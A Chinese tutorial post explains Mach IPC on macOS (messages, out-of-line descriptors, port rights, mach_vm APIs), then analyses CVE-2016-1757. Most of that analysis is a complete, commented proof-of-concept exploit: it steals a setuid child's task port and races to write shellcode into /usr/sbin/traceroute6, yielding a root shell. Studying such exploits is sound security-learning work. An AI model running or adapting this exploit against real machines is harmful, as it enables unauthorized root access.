通过cve-2016-1757浅谈Mach IPC

自从涉及到内核的知识,其中的一些东西有些抽象,如果单单看某个概念,可能会觉得有点一头雾水,那么最好的办法就是通过一个例子来了解这些东西都做了什么事

第一部分—-基本概念

原语是由若干个机器指令 构成的完成某种特定功能的一段程序,具有不可分割性,即原语的执行必须是连续的,在执行过程中不允许被中断

在谈mach ipc之前我们先来讨论讨论mach的一些设计风格以及ipc的一些基础概念

首先mach作为一个极简的内核,其主要功能就是要把所有的功能都移除内核,放在用户态中,这样mach就可以保持着极简的风格。mach设计最大的优点是没有在设计中像其他内核一样考虑多处理,内核中的大部分功能都是分离的组件通过消息的传递来执行,这样不同的组件就可以不用再同一个处理器上执行。

消息

在mach中,所有的东西都是通过自己的对象来实现的,进程称为任务,线程和虚拟内存都可以称为对象,所有对象都有自己的属性

说到消息,其实mach中最基本的概念就是消息,它是mach ipc的核心构建模块,是在两个端口之间传递的

像在其他架构中,对象和对象之前的通信都是要有一个接口,而mach是通过消息传递的方式来实现对象间的通信,这就是mach特殊的地方。

mach消息有简单与复杂之分,其实说白了就是不同字段的消息结构,复杂消息主要是通过消息头标志位的MACH_MSGH_BITS_COMPLES来确定的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
typedef struct
{
void* address;
#if !defined(__LP64__)
mach_msg_size_t size;
#endif
boolean_t deallocate: 8;
mach_msg_copy_options_t copy: 8;
unsigned int pad1: 8;
mach_msg_descriptor_type_t type: 8;
#if defined(__LP64__)
mach_msg_size_t size;
#endif
#if defined(KERNEL) && !defined(__LP64__)
uint32_t pad_end;
#endif
} mach_msg_ool_descriptor_t;
typedef struct
{
uint32_t address;
mach_msg_size_t count;
boolean_t deallocate: 8;
mach_msg_copy_options_t copy: 8;
mach_msg_type_name_t disposition : 8;
mach_msg_descriptor_type_t type : 8;
} mach_msg_ool_ports_descriptor32_t;
typedef struct
{
uint64_t address;
boolean_t deallocate: 8;
mach_msg_copy_options_t copy: 8;
mach_msg_type_name_t disposition : 8;
mach_msg_descriptor_type_t type : 8;
mach_msg_size_t count;
} mach_msg_ool_ports_descriptor64_t;
typedef struct
{
void* address;
#if !defined(__LP64__)
mach_msg_size_t count;
#endif
boolean_t deallocate: 8;
mach_msg_copy_options_t copy: 8;
mach_msg_type_name_t disposition : 8;
mach_msg_descriptor_type_t type : 8;
#if defined(__LP64__)
mach_msg_size_t count;
#endif
#if defined(KERNEL) && !defined(__LP64__)
uint32_t pad_end;
#endif
} mach_msg_ool_ports_descriptor_t;
/*
* LP64support - This union definition is not really
* appropriate in LP64 mode because not all descriptors
* are of the same size in that environment.
*/
#if defined(__LP64__) && defined(KERNEL)
typedef union
{
mach_msg_port_descriptor_t port;
mach_msg_ool_descriptor32_t out_of_line;
mach_msg_ool_ports_descriptor32_t ool_ports;
mach_msg_type_descriptor_t type;
} mach_msg_descriptor_t;
#else
typedef union
{
mach_msg_port_descriptor_t port;
mach_msg_ool_descriptor_t out_of_line;
mach_msg_ool_ports_descriptor_t ool_ports;
mach_msg_type_descriptor_t type;
} mach_msg_descriptor_t;
#endif

由以上代码可以看出,在复杂消息的描述符中出现了一些OOL(out-of-line),他是mach消息的重要特性,允许添加各种数据的分散指针,这就相当于添加了好多通向对象的各种条件的管道,主要描述了要附加数据的地址和大小以及对数据的一些处理。

mach消息的发送和接收主要是通过一个共同的API函数mach_msg()来实现,其中包含了mach_msg_send()mach_msg_receive()等,而mach_msg()则调用了一个mach陷阱(mach_msg_trap相当于系统调用),当mach在用户态时可以通过引发mach陷阱来切换到内核态继续完成mach_msg的相应工作。

由于mach架构是一个标准的微内核架构,所以mach_msg()函数必须在发送者和接收者之间复制消息所在的内存,这样频繁的复制内存会带来很大的损耗,为了解决这个问题,XNU中会让让所有的内核组件共享同一个地址空间,这样消息在传递的过程中只需要传递其相应的指针就可以了。

port

说起ipc,除了消息,那就是端口了

ipc设计中非常强大的一个特性就是可以通过复杂消息将端口从一个任务传递到另一个任务中,也可以将端口和权限从一个实体传到另一个实体,每一个端口都有自己的权限

1
2
3
4
5
6
7
8
9
10
11
typedef natural_t mach_port_right_t;
//发送
#define MACH_PORT_RIGHT_SEND ((mach_port_right_t) 0)
//接收
#define MACH_PORT_RIGHT_RECEIVE ((mach_port_right_t) 1)
//发送一次
#define MACH_PORT_RIGHT_SEND_ONCE ((mach_port_right_t) 2)
#define MACH_PORT_RIGHT_PORT_SET ((mach_port_right_t) 3)
#define MACH_PORT_RIGHT_DEAD_NAME ((mach_port_right_t) 4)
#define MACH_PORT_RIGHT_LABELH ((mach_port_right_t) 5)
#define MACH_PORT_RIGHT_NUMBER ((mach_port_right_t) 6)

以上就是mach端口的一些权限,看字面意思就明白,其中重要的就是send和receive

虚拟内存

虚拟内存是Mac中提供的最重要的机制,虚拟内存主要分为两个层次,一个是虚拟内存层,一个是物理内存层。由于这里仅分析poc中用到的一些系统调用,关于虚拟内存详细的分析在这里就不再详细说明了

Mach在用户层也提供了丰富的内存相关的API
在用户态,程序可以在vm_map_t层次调用API(这里只介绍部分,有兴趣可以看看mach_vm.h文件):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
kern_return_t mach_vm_region
(
vm_map_t target_task,
mach_vm_address_t *address,
mach_vm_size_t *size,
vm_region_flavor_t flavor,
vm_region_info_t info,
mach_msg_type_number_t *infoCnt,
mach_port_t *object_name
);
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_protect
(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
boolean_t set_maximum,
vm_prot_t new_protection
);
kern_return_t mach_vm_read
(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
vm_offset_t *data,
mach_msg_type_number_t *dataCnt
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
kern_return_t mach_vm_map
(
vm_map_t target_task,
mach_vm_address_t *address,
mach_vm_size_t size,
mach_vm_offset_t mask,
int flags,
mem_entry_name_port_t object,
memory_object_offset_t offset,
boolean_t copy,
vm_prot_t cur_protection,
vm_prot_t max_protection,
vm_inherit_t inheritance
);
  • mach_vm_region
    根据flavor,显示任务的虚拟映射在address出的虚拟内存区域的信息
  • mach_vm_allocate
    在map表示的虚拟内存中分配size个字节
  • mach_vm_protect
    将map表示的虚拟内存中从star到star+size范围的内存区域的保护级别设置为定义的最高级别
  • mach_vm_read
    从外部任务的内存中复制,从map表示的虚拟内存中的addr出读size到data中
  • mach_vm_write
    复制到外部任务的内存:将data复制到map表示的虚拟内存中的address处
  • mach_vm_map
    创建新的内存映射

第二部分—-cve-2016-1757分析

cve-2016-1757主要是内核处理一个setuid程序时,当进程的端口还没有关闭时,父进程的端口可以控制子进程的端口从而对目标进程的内存作出修改,并利用目标进程的root权限进行shellcode

这个漏洞逻辑比较简单,直接上poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <servers/bootstrap.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// execve("/bin/zsh", {"/bin/sh", 0}, 0); // honest!
char shellcode[] = "\xe8\x09\x00\x00\x00\x2f\x62\x69\x6e\x2f\x7a\x73\x68\x00\x5f\x48"
"\x31\xdb\x53\x57\x48\x89\xe6\x48\x31\xd2\xb8\x3b\x00\x00\x02\x0f"
"\x05";
char* service_name = "task_deposit_service";
char* suid_binary_path = "/usr/sbin/traceroute6";
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
} task_msg_send_t;
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
mach_msg_trailer_t trailer;
} task_msg_recv_t;
typedef struct {
mach_msg_header_t header;
} ack_msg_send_t;
typedef struct {
mach_msg_header_t header;
mach_msg_trailer_t trailer;
} ack_msg_recv_t;
void do_parent(mach_port_t service_port) {
kern_return_t err;
// generate the page we want to write into the child:
//生成一页想要写入子进程的内存
mach_vm_address_t addr = 0;
err = mach_vm_allocate(mach_task_self(),
&addr,
4096,
VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
mach_error("failed to mach_vm_allocate memory", err);
return;
}
FILE* f = fopen(suid_binary_path, "r");
fseek(f, 0x1000, SEEK_SET);
fread((char*)addr, 0x1000, 1, f);
fclose(f);
memcpy(((char*)addr)+0x53c, shellcode, sizeof(shellcode));
// wait to get the child's task port on the service port:
//等待子进程发送过来的任务端口
task_msg_recv_t msg = {0};
err = mach_msg(&msg.header,
MACH_RCV_MSG,
0,
sizeof(msg),
service_port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
mach_error("error receiving service message", err);
return;
}
mach_port_t target_task_port = msg.port.name;
// before we ack the task port message to signal that the other process should execve the suid
// binary get the lowest mapped address:
//对任务端口的消息做出应答之前确定是否为setuid的进程
struct vm_region_basic_info_64 region;
mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;
memory_object_name_t object_name = MACH_PORT_NULL; /* unused */
mach_vm_size_t target_first_size = 0x1000;
mach_vm_address_t original_first_addr = 0x0;
//获取虚拟内存的信息
err = mach_vm_region(target_task_port,
&original_first_addr,
&target_first_size,
VM_REGION_BASIC_INFO_64,
(vm_region_info_t)&region,
&region_count,
&object_name);
if (err != KERN_SUCCESS) {
mach_error("unable to get first mach_vm_region for target process\n", err);
return;
}
printf("[+] looks like the target processes lowest mapping is at %zx prior to execve\n", original_first_addr);
// send an ack message to the reply port indicating that we have the thread port
//发送消息作出回应
ack_msg_send_t ack = {0};
mach_msg_type_name_t reply_port_rights = MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits);
ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0);
ack.header.msgh_size = sizeof(ack);
ack.header.msgh_local_port = MACH_PORT_NULL;
ack.header.msgh_remote_port = msg.header.msgh_remote_port;
ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); // use the same rights we got
err = mach_msg_send(&ack.header);
if (err != KERN_SUCCESS) {
mach_error("parent failed sending ack", err);
return;
}
mach_vm_address_t target_first_addr = 0x0;
//不断地循环直到获得的内存信息与之前不同
for (;;) {
// wait until we see that the map has been swapped and the binary is loaded into it:
region_count = VM_REGION_BASIC_INFO_COUNT_64;
object_name = MACH_PORT_NULL; /* unused */
target_first_size = 0x1000;
target_first_addr = 0x0;
err = mach_vm_region(target_task_port,
&target_first_addr,
&target_first_size,
VM_REGION_BASIC_INFO_64,
(vm_region_info_t)&region,
&region_count,
&object_name);
if (target_first_addr != original_first_addr && target_first_addr < 0x200000000) {
// the first address has changed implying that the map was swapped
// let's try to win the race
break;
}
}
mach_vm_address_t target_addr = target_first_addr + 0x1000;
mach_msg_type_number_t target_size = 0x1000;
mach_vm_protect(target_task_port, target_addr, target_size, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
mach_vm_write(target_task_port, target_addr, addr, target_size);
printf("hopefully overwrote some code in the target...\n");
printf("the target first addr changed to %zx\n", target_first_addr);
}
void do_child() {
kern_return_t err;
mach_port_t bootstrap_port;
err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (err != KERN_SUCCESS) {
mach_error("child can't get bootstrap port", err);
return;
}
mach_port_t service_port;
err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (err != KERN_SUCCESS) {
mach_error("child can't get service port", err);
return;
}
// create a reply port:
//创建一个有接收消息权限的port
mach_port_t reply_port;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
mach_error("child unable to allocate reply port", err);
return;
}
// send it our task port
//将我们的任务端口发送给父进程
task_msg_send_t msg = {0};
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_local_port = reply_port;
msg.header.msgh_remote_port = service_port;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;
msg.body.msgh_descriptor_count = 1;
msg.port.name = mach_task_self();
msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg_send(&msg.header);
if (err != KERN_SUCCESS) {
mach_error("child unable to send thread port message", err);
return;
}
// wait for a reply to ack that the other end got our thread port
//等待父进程的应答
ack_msg_recv_t reply = {0};
err = mach_msg(&reply.header, MACH_RCV_MSG, 0, sizeof(reply), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
mach_error("child unable to receive ack", err);
return;
}
// exec the suid-root binary
//执行有root权限的setuid进程
char* argv[] = {suid_binary_path, "-w", "rofl", NULL};
char* envp[] = {NULL};
execve(suid_binary_path, argv, envp);
}
int main() {
kern_return_t err;
// register a name with launchd
mach_port_t bootstrap_port;
err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (err != KERN_SUCCESS) {
mach_error("can't get bootstrap port", err);
return 1;
}
//创建一个具有接收消息权限的port
mach_port_t service_port;
err = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&service_port);
if (err != KERN_SUCCESS) {
mach_error("can't allocate service port", err);
return 1;
}
//为port添加发送权限
err = mach_port_insert_right(mach_task_self(),
service_port,
service_port,
MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
mach_error("can't insert make send right", err);
return 1;
}
//注册一个全局port
err = bootstrap_register(bootstrap_port, service_name, service_port);
if (err != KERN_SUCCESS) {
mach_error("can't register service port", err);
return 1;
}
printf("[+] registered service \"%s\" with launchd to receive child thread port\n", service_name);
// fork a child
//fork子进程,做出判断决定调用哪个函数
pid_t child_pid = fork();
if (child_pid == 0) {
do_child();
} else {
do_parent(service_port);
int status;
wait(&status);
}
return 0;
}

可以看出主要有三个函数:

  1. do_parent–根据子进程发送的port判断是否为suid进程,并对子进程进行回应后找到对应点写入行shellcode
  2. do_child–将自己的port发送给父进程,得到父进程的回应后执行suid进程
  3. main–创建了port之后fork出子程序,根据不同的函数做不同的事

通过对以上漏洞分析,我们巩固了一些基础知识:

  • mach_msg()
  • mach_port_right
  • mach_vm_*

以上分析只是用到了ipc用户态的一些知识,接下来可以通过分析其他有关mach_ports的漏洞来进行一个ipc的深入理解

参考:《深入解析OSX&iOS操作系统》
黑云压城城欲摧-2016年iOS公开可以用漏洞总结
CVE-2016-1757简单分析](http://turingh.github.io/2016/04/03/CVE-2016-1757简单分析/#3-3_do_parent)

文章目录
  1. 1. 第一部分—-基本概念
    1. 1.1. 消息
    2. 1.2. port
    3. 1.3. 虚拟内存
  2. 2. 第二部分—-cve-2016-1757分析
|